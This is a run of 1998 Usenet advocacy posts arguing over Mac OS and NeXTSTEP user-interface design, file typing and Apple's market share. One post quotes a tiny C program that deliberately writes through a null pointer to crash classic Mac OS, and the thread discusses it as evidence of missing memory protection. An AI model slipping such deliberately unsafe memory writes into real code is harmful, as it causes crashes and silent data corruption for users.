I also drive sports cars, and have won several road races over the
years. I enjoy pushing the curves and the speed, but if the car doesn't
start, I call a mechanic and tell him, "It's broken. Please fix it.". I know
enough to buy what I want, and I know how to drive it to its limits, but I
don't have a clue how to check the oil. The same thing goes for computers,
and that is why my first choice is a Mac.
Ken
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From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Tue, 28 Jul 1998 15:37:47 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2807981537470001@128.84.203.149>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <Pine.SOL.3.96.980724162806.5179A-100000@ux8.cso.uiuc.edu> <Macghod-2407981949020001@sdn-ar-001casbarp206.dialsprint.net>
In article <Macghod-2407981949020001@sdn-ar-001casbarp206.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> Well marketshare means worldwide, unless you clarify it to US. Whoever is
> slinging those numbers should be ashamed of themselves. What is Apple's
> worldwide marketshare? It sure as hell isnt %9.4. And that link that
> said it rose from 4.1 to 9.4, excuse me, but I am preety sure the
> worldwide marketshare climbed up to 4.1, I doubt the us marketshare has
> more than doubled.
>
> Whoever wrote the article is dumb assed idiot, IMO.
MacCentral, quoting the same source, reported that Apple's share of the
*retail* market had risen to 9.4% from 9.0% in June. IMO whoever wrote
the MacOS Rumors blurb had his wires crossed.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 12:20:18 +0200
Organization: The Computer Society at Lund
Message-ID: <6pk8l2$fd2$1@bartlet.df.lth.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981327300001@news> <6pajhr$nj6$1@news.spacelab.net> <andyba-ya02408000R2707981255140001@news>
NNTP-Posting-User: cb
In article <andyba-ya02408000R2707981255140001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>In article <6pajhr$nj6$1@news.spacelab.net>, "Charles W. Swiger"
><chuck@codefab.com> wrote:
>
>> andyba@corp.webtv.net (Andy Bates) wrote:
>>
>> >Again, could you give me an example of something that you would print that
>> >is NOT file-related?
>>
>> Let's say you've got a network packet sniffer going. Until you save that
>> data somewhere, it's not associated with any file on a filesystem, yet it
>> makes sense to be able to print a particular packet you're interested in.
>
>Who says that a file has to be saved to disk (on a filesystem) before it
>becomes a file?
The whole concept of a 'file' comes from collecting a bunch of data and
storing it in a well-defined place - you know, _filing_ it. Until you do
this, in some sort of filing system, I wouldn't say you have a file.
> I can create a word-processing file, edit it, print it, and
>choose not to save it to disk. That doesn't change the fact that the
>collection of data I worked on and printed was a file.
Um, no, it never was a file. It was a bunch of text - which you _could_
have filed somewhere yes - but you never did that, so it didn't ever
actually become a file.
>It just wasn't a file that was ever saved to disk.
>
>And with the packet-sniffer example, the data you collect IS in a file; the
>file is maintained in memory. Whether or not that data has been written to
>the filesystem is irrelevant.
Ah, we disagree. I say that there is a specific action that turns a bunch
of data (such as packets collected from the network) into a file; you
appear to say that since you _could_ turn it into a file, it _is_ a file.
Well, by similar logic, if I were to buy an DYI airplane kit, I should
just be able to sit down in it and fly away, since, after all, I could
just put it together - so it already _is_ an airplane :)
I also disagree with the statement 'the data you collect IS in a file;
thefile is maintained in memory'. I collect a bunch of data - that's it.
If I were to store it in a file, then it would be in a file, but since I
don't, it doesn't.
A file is most certainly something that is in a file system. You can place
a file system in memory, too, of course - and if you do that (a la a
ramdisk), then you can have files that are only in memory and not on disk;
but it is not the case that everything in memory is a file.
While your viewpoint has _some_ merit, I would say that it is far too
broad. After all, _any_ collection of data could be saved to disk, to make
it a file - but that does not make every possible collection of data a
file. Do you see what I am trying to say ?
If I write a letter, in a word processor, and never save it - only keep it
in the computer's main memory, then print it, then close the window - I
certainly would not consider that letter to ever have been a file on my
computer. I _could have_ saved it and thus stored the letter (which I was
writing) in a file (an entity in the file system), but I never did.
The fact that the word processor allows easy access to storing text in
files and restoring text from files, does not make every text a file.
>
>Andy Bates.
Best regards
// Christian Brunschen
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:00:07 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news>
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In-Reply-To: <andyba-ya02408000R2807981006430001@news>
On Tue, 28 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > One thing with the menu proposal I have at
> >
> > http://www.ews.uiuc.edu/~tokarek/rhapsody/
> >
> > is that the menus are floating windows that can sit anywhere on the
> > screen(s).
>
> But this doesn't solve the problem of having a large screen, does it?
It solves the wasted space issue, but not the long trip issue. For that
you have to look at other NeXT behaviors and a discussion between
Christopher Smith and I.
> No
> matter where you put it, you will still have to travel a long distance to
> go to the menu and back again, whether it's the top-left corner or the
> bottom-right corner. Yes, maybe you could move it closer for the
> application you're working on, but maybe another application would require
> a different location, and so on. One could argue (as I am) that any time
> benefits of having it in a different location would be outweighed by the
> time taken to move it each time.
So in that case we shouldn't ever be able to move it? That's silly.
> Also, not having the menu in a single,
> consistent location would cause a delay in menu access, since the person
> has to sort out exactly where the menu is onscreen, instead of just
> instinctively flipping the mouse to the upper-left corner of the screen.
What if the user wants the menu consistently on the top right of the
screen? What about the bottom left? What about always top top left but
with the choices stacked on top of each other? That choice is unavailable
now. It doesn't have to be except for this pro-Mac inertia that makes you
believe that everything not Macintosh is bad.
> > The information for what
> > kind of file it is is contained somewhere else though. It's contained in
> > the structure of the file itself.
>
> But a C++ program file is also a text file, which is also a Word file. So
> every single time I open this same C++ file, your proposed system would
> have to search through the file contents and determine what application
> shou used to open it. And if I want to use BBEdit every time, your system
> will either A) always open it as a C++ file, since that's the most obvious
> file type, or B) always provide me with a menu of program choices, even
> though I always want to use BBEdit to edit the file.
Right. We shouldn't consider anything different. There's nothing wrong
with what we have. It works perfectly all the time. There is nothing that
could possibly be better. What was I thinking.
Okay. Here is what I think. If you always want to open a C++ file in
BBedit, then there's no problem. When the OS comes across this type of
file for the first time, it will present a menu of applications that can
open it. When you choose BBEdit, the OS will open that type of file with
BBEdit from then on unless or until you tell it not to.
> > When
> > the user double clicks on a file, the OS would go through and test it
> > against all the registered types that the installed apps support. For some
> > things it will be immediately obvious while other things might be a more
> > complicated process.
>
> Do you realize how tedious this would be? How long this would take the OS
> to do? For every single file that you open, it would have to check through
> ALL the registered types that the installed apps support? So, even though I
> have Application X that I use once every few months or so, installing it
> means that EVERY file that I open will have to check its file structure
> against the Application X file type, just to make sure it doesn't need to
> be opened within that application. Well, it'd be a nice incentive for
> people to install fewer applications on their system.
Oh, please. Do you _really_ think this would take very long? Once the
document or portions of the document are read into memory, testing it
against thousands of file formats should be very quick. Actually as I've
said in other posts, typing of a file could even be done in the background
when nothing else is happening. That way, the OS could periodically go
through and check modified files and retype them. Those it doesn't
recognise it could flag for later clarification if the user ever bothers
to open it again.
> > This way, the name of the file doesn't define its type to the OS, and
> > there is no set of type/creator codes that can erroneously define the file
> > type to the OS.
>
> Right. Instead, there is erroneous parsing which can lead to incorrect file
> translation. The difference is, if the type/creator codes are incorrect,
> you can fix them once and be done with it. But if my C++ file gets
> incorrectly parsed, it will be incorrectly parsed EVERY SINGLE TIME I OPEN
> IT, and there's NOTHING I can do about it!
BULLSHIT! It does not have to be this way. There are other potential cues
like the file name (does it have a .C?) and perhaps even type/creator
codes to give an indication of what the file is. This does not have to be
an utter replacement for the type/creator system you know.
> Maybe I could put a tag in the
> program itself to mark what program I want to open it in...oops, now we're
> back to type and creator codes.
I think of this as a supplement to type/creator codes. It is not a
complete replacement. It is there to address some of the issues with
type/creator codes and file extensions. If the type/creator is just
totally off or if such information is absent, this system would be more
robust. Type/creator codes and file name extensions by them selves are
much more fallible.
> Or what about the same file that I have
> opened five hundred times in the past? Does the operating system have to
> check again EVERY TIME I open it to make sure that it hasn't suddely
> changed to a .WAV format or something? It shouldn't have to. That's an
> incredible waste of time.
Well stinking duh! If it determined the type once and the file has not
been modified or replaced since, then _obviously_ the OS does not have to
check again.... or were you just trying to score points against the
concept?
> > With this way, the OS would _know_ what kind of file it is
> > through the contents of the file itself.
>
> Yes, the OS would know what kind of file it is, once it checks...and then
> it will promptly forget.
That is BULLSHIT! That is not what I was thinking. That is not what I
said. It would not be a good design to do so and it does not have to work
that way. You are just saying this to make the entire concept sound bad.
> Then, when you open it again, it will have to
> check again. This is a tremendous waste of processor time. Why should it
> have to check every time a file is opened?
It obviously shouldn't. Do you think this hadn't occured to me?
> Really, your proposal is for a more robust way to handle files of unknown
> types. But once the type is known, it's a waste to have to check for the
> file type every time the file is opened after that. That's why they made
> file/creator types in the first place!
DUH!
> > When the OS comes across an unknown file, it might present a list of
> > likely applications that could open it.
>
> Exactly. Like it does now. But once it figures out the application that
> opens it, it STORES IT so it doesn't have to ask you again! Do you really
> want to sacrifice hundreds of thousands of processor cycles calculating the
> file type over and over again for the same file, just so you can regain 8
> bytes of information?
It is _not_ about saving the space used by type and creator codes. If you
had bothered to read my posts, you would see that.
If the document does not change then _obviously_ the OS does not have to
check its type again.
> > It won't entirely solve all the problems, but it could be better than what
> > we deal with now in Windows and the Mac OS.
>
> Ugh. No. Only if you don't care about your processor.
>
> Hey, how about this one: every time a file is downloaded with an unknown
> file type, it is given a blank type/creator. Then, during spare processor
> cycles, the Mac would scan all files with a blank type/creator and
> determine the correct file type. That way, when you get around to opening
> the file, it will be correctly labelled. Does that solve the problem? It
> seems more elegant than your proposed solution.
You don't even understand my proposed solution and hadn't even heard all
of it. _OF_COURSE_ what you state in that paragraph would be a good idea.
Do you _REALLY_ believe that I was thinking the OS should check _every_
time a file is opened? Good grief. Your opinion of my intelligence is
obviously not very high.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:02:03 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BE2E3B.CE9EB08A@ericsson.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu>
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Pulsar wrote:
> Pardon, but what do you mean by the NeXT menu heirarchy being
> "systemaitcally inconsistent"?
The clock in the MacOS menu bar is an inconsistency. It stands alone as
an isolated example.
The NeXTstep habit of treating menus and menubars as buttons and button
bars is a systematic inconsistency. Menus do not always pull down,
sometimes they invoke an action on a button-click. This is not a case of
one menu that acts like this, it is a systematic pattern of
inconsistency. The MacOS assumes that menus are menus. NeXTstep does
not.
In my opinion, "menu" should be reserved for the MacOS-inspired system,
the one every other UI besides NeXTstep uses. NeXTstep does not use a
"menu" system, it uses a command-hierarchy system. Its similarity to the
MacOS's own is entirely superficial; functionally and conceptually
speaking there are enormous differences between the MacOS and NeXTstep
"menus".
Many complaints about the MacOS menu system have not addressed these
differences, but instead have focused on the mutability of the MacOS
menu bar (size, orientation, etc., etc).
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 20:06:45 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6plb0l$lom$1@lwnws01.ne.highway1.com>
andyba@corp.webtv.net (Andy Bates) wrote:
> I believe that you are (or were) being woefully unclear. This thread (or
> this part of it) started up when someone mentioned a laptop running Mac OS
> on, say, a 9" screen. You responded by saying (paraphrased), "Having a
> laptop with less than a 12" screen would be worthless. You shouldn't limit
> a desktop UI to a 9" screen." It seems that you should have said, instead,
> "A laptop with a 9" screen would be great with the current Mac UI. However,
> the desktop UI shouldn't be limited to what works on a 9" screen."
No, that's not my position. I think a laptop with a 9" screen would suck
rocks. That's what I meant and what I said. Sure, the macUI may well be
fine on a 9" screen, but IMO there is no excuse to have a 9" screen on a
laptop machine today. Anything smaller than a 12" XGA screen, imo, is
useless crap for laptop purposes. Now a 9" screen or smaller might be great
for some PDA/palmtop unit, but that's not a laptop. My position is that
since modern laptops being designed and manufactured from now on will likely
be 12" XGA or better, that they are much like the desktop machines that also
have XGA or better displays, and so should share a UI; a UI that is not
limited by the constraints of a PDA/palmtop design.
> > However, I believe that the macUI is not as well suited to larger
> > resolution/displays as other UI offerings.
>
> One sentence clears everything up. This sure seems different from your
> earlier comments like, "Jeez, if by next year the best they can do is
> release a consumer portable with *only* a 9" screen, they deserve what they
> can get. There's no excuse today to release anything but an XGA screen."
Maybe my understanding of what constitutes a computer portable is off. To
me, that means cheap laptop. If I have that wrong and it actually means some
palmtop/PDA like thing, then that's my mistake and the cause of the
confusion. If so, sorry about that.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:09:44 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728150528.21913D-100000@ux8.cso.uiuc.edu>
References: <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com> <6pjb03$1jb@news1.panix.com> <35BD6B8B.7F9134BD@nstar.net> <andyba-ya02408000R2807981102110001@news>
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In-Reply-To: <andyba-ya02408000R2807981102110001@news>
On Tue, 28 Jul 1998, Andy Bates wrote:
> In article <35BD6B8B.7F9134BD@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>
> > Sal Denaro wrote:
> >
> > > Why not? That is exactly what you can do with NSInterfaceStyle. That is
> > > exactly the motivation behind MacOS' InterfaceManager and Gnome's themes.
> > > There are simple things that can be decided at run time that allow a GUI
> > > to scale from 800*600 to 1600*1200 without having to change the Apps.
> >
> > You'll have to explain how this is so. Interchangeable graphics packs
> > that alter the bitmapped appearance of widgets have exactly nothing to
> > do with UI scalability, as far as I can tell. It's distressing that
> > people seem to attach significance to "themes" when they amount to
> > nothing more than your choice of sugar-coating.
>
> Well, I believe (and please, someone correct me if I'm wrong) that Themes
> allows you to change both the placement and the size of UI elements.
To some extent this is true.
> So,
> for example, you could have a theme with a 4x4 close box and a 4x8
> WindowShade button, or a theme that has the menubar as an eight-pixel strip
> along the bottom of the screen, or scrollbars that are only three pixels
> wide, or whatever you need to make the OS work better on a smaller screen.
This is unlikely. I think Scrollbars and menubars are stuck where they
are. The Mac OS is not as flexible on this as NeXT is where widget
size/shape/placement/behavior is interchangeable and changeable to a large
extent.
> What do YOU think would alter UI scalability?
Changing the color, position, and size of already existing widgets is not
what I think of as anything significant towards UI scalability. It just
paints over the same old behaviors. The UI has not significantly changed
in that case.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 28 Jul 1998 20:13:51 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6plbdv$lom$2@lwnws01.ne.highway1.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com> <6pkvi0$ffe$1@lwnws01.ne.highway1.com> <35BE18C1.9174ADB0@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> wrote:
> John Kheit wrote:
> > However, I also like, in this case, the way NeXT menu's act
> > like button palletes in a window (even if I might prefer it's
> > orientation to be rotated to a horizontal layout at times).
>
> That I find hideous. I just don't think menus and button palettes
[snip explanation of why]
> created a menu. The button palette breaks this, for one. Secondly,
> any chosen action was always highlighted with a specific number
> of flashes to notify you which action you took. With buttons in
No reason why the menus cant be made to flash in NEXTSTEP.
> the menubar, that's gone. There's also the karma of a menu:
> indicator or no, they were always representative of a category,
> never a specific action. If I look at a menubar, I'm looking at
> a *MENU*, not a bunch of miscellaneous widgets. NeXTstep loses
> that, too. I always felt like I was staring at the NeXT menubar
> to figure it out; nothing came automatically. I hated that.
Again, you know my feeling on why that is. As to your other reasons and
explanations, they are fine and dandy, I understand your position. I just
disagree. Which is fine too. I can't say I feel catagorically *right* about
this topic even to myself, just my general gut feel is I like the button
pallette thing. As always YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 15:11:53 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BE3089.76CC988A@ericsson.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com>
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arlis@iquest.net wrote:
> Do you really feel the minor misattribution Joe made (followed by a swift and
> sincere apology), is on an equal plane with being falsely accused of child
> molesting?
The apology was nonexistent at the time of the misattribution and thus
is irrelevant to a comparison of different offenses. And yes, there is a
plane that describes public smearing of a person, and that plane
includes both misattributions and false accusations. Nobody will say
that they are *equivalent*, and nobody has. If you need help
differentiating between specific equivalence and categorization, you
should look into it.
> Do you really feel the damage done to your reputation is on an equal plane
> with the damage inflicted on the Brown and Simpson families by the heinous
> murder of their loved ones?
Again, this question is totally irrelevant to the matter at hand. What
is important is not measuring the amount of damage; it is determining
whether an offense has been committed and whether the offense deserves
legal pursuit. The misattribution Joe made was well within the bounds
shared by public denouncement of the Brown and Simpson families, whether
or not they are equivalent actions.
By the way, I noticed that you actually changed the public speech issue
surrounding the Simpson trial to a reference to the actual murder. Very
dishonest of you.
MJP
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:18:05 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728151624.21913F-100000@ux8.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <alex-2707982019480001@castle.webis.net>
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On Mon, 27 Jul 1998, Alex Kac wrote:
> In article <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
<snip>
> : It does to solve the problem since it provides the user a clear indication
> : of what is running. If you close all Netscape Windows, the program is no
> : longer running in Windows whereas if you close all the Netscape windows on
> : the Mac OS, the program is _still_ running. There is also an obvious
> : indication that a program is still running since it gets a button on the
> : task bar. You have to manually check the application menu on the Mac OS to
> : see what's running.
> :
> : The taskbar is not perfect, but it does a better job than the Mac OS
> : Application Menu.
>
> I disagree. One of the things I hate about Windows is that under the SDI
> approach (Mac like), when you clost the last window, the program quits. I
> hate this. I like to have Netscape running without windows for hours at a
> time. The problem I have is that under Windows, if I'm working on a lot of
> projects, the Netscape window provides clutter. I don't want to minimize
> it since it still takes up a good portion of space on the task bar. So I
> close the window. But then when I do want to run it, I have to reload the
> app. Even on our PII-300 here, it takes way too long to open.
That is a Windows problem. That is not a taskbar problem (not exactly).
> On my Mac, I just hide it or close the window and I'm fine. I have GoMac
> (and love it), but I can minimze NetScape's task bar slot to almost
> nothing.
GoMac may be just the kind of thing I'm talking about. I've never used it
or even really seen it.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcwchg.1q5uk78gv1gcgN@dialup187-1-12.swipnet.se>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net>
Organization: pv
Date: Tue, 28 Jul 1998 20:23:00 GMT
NNTP-Posting-Date: Tue, 28 Jul 1998 22:23:00 MET DST
Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <6pisq8$jtg$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> > Try this code:
> >
> > #include "string.h"
> >
> > void main( void )
> > {
> > strcpy( (char *) 0, "Today is a good day to die!" );
> > }
> >
> > This crashes my Mac but only causes the program to fail in Windows 95.
>
> Big deal.
Yes. A big deal!
Not that W95 happened to survive. That is what any OS shold do and does.
The big deal is that Mac OS doesn't.
> You can find a way to crash virtually any OS. Your point is irrelevant.
No. It is very much relevant.
The example is a simplified version of a common programming error that
causes many, many problems in commercial and other programs, as well as
in the OS itself. Not far fetched at all. You do have this thing in
several of the apps you payed good money for!
Taking down Mac OS is bad enough and is in it self unacceptable. Another
particularly bad aspect is that it can put the blame at some innocent
party. The address doesn't have to be 0, it can be an address belonging
to another application. This will cause data loss or arbitrarily garbled
data in that app. This is even worse since it wont be noticed
immediately. You might safe the destroyed data to disk and find out a
month later that your report is trash. That is, Netscape should not be
allowed to silently cause data corruption in open ClarisWorks documents!
The fact that Mac OS actually allows this, really is a big deal and is
very much relevant. This is one of the reasons that you see so much
heated debate about Apple backing off from promises of which systems to
support with the future Mac OS. This problem is one of the core problems
that absolutely have to be solved before Mac OS can be called a real OS
and be taken seriously again. It is both relevant and a big deal.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <fYov1.9354$fh3.698347@iagnews.iagnet.net>
Control: cancel <fYov1.9354$fh3.698347@iagnews.iagnet.net>
Date: 28 Jul 1998 18:43:15 GMT
Organization: BOFH Space Command, Usenet Division
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From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 15:33:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <35BE358B.E6A2F81F@ericsson.com>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com> <6pkvi0$ffe$1@lwnws01.ne.highway1.com> <35BE18C1.9174ADB0@exu.ericsson.se> <6plbdv$lom$2@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Kheit wrote:
> No reason why the menus cant be made to flash in NEXTSTEP.
Actually, with all that pretty shading, it would be a pretty impressive
thing for a machine to flash those beautiful NeXT menus. Not only that,
but would you also cause single buttons to flash? Buttons that flash
repeatedly when you press them, we're just breaking more UI stuff as we
go along.
> Again, you know my feeling on why that is. As to your other reasons and
> explanations, they are fine and dandy, I understand your position. I just
> disagree. Which is fine too. I can't say I feel catagorically *right* about
> this topic even to myself, just my general gut feel is I like the button
> pallette thing. As always YMMV.
That's what I expected, of course. I'm just explaining for the umpteenth
time in case there's somebody out in the yonder who for some odd reason
hasn't yet become nauseous at the sound of MJP describing his UI tastes.
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
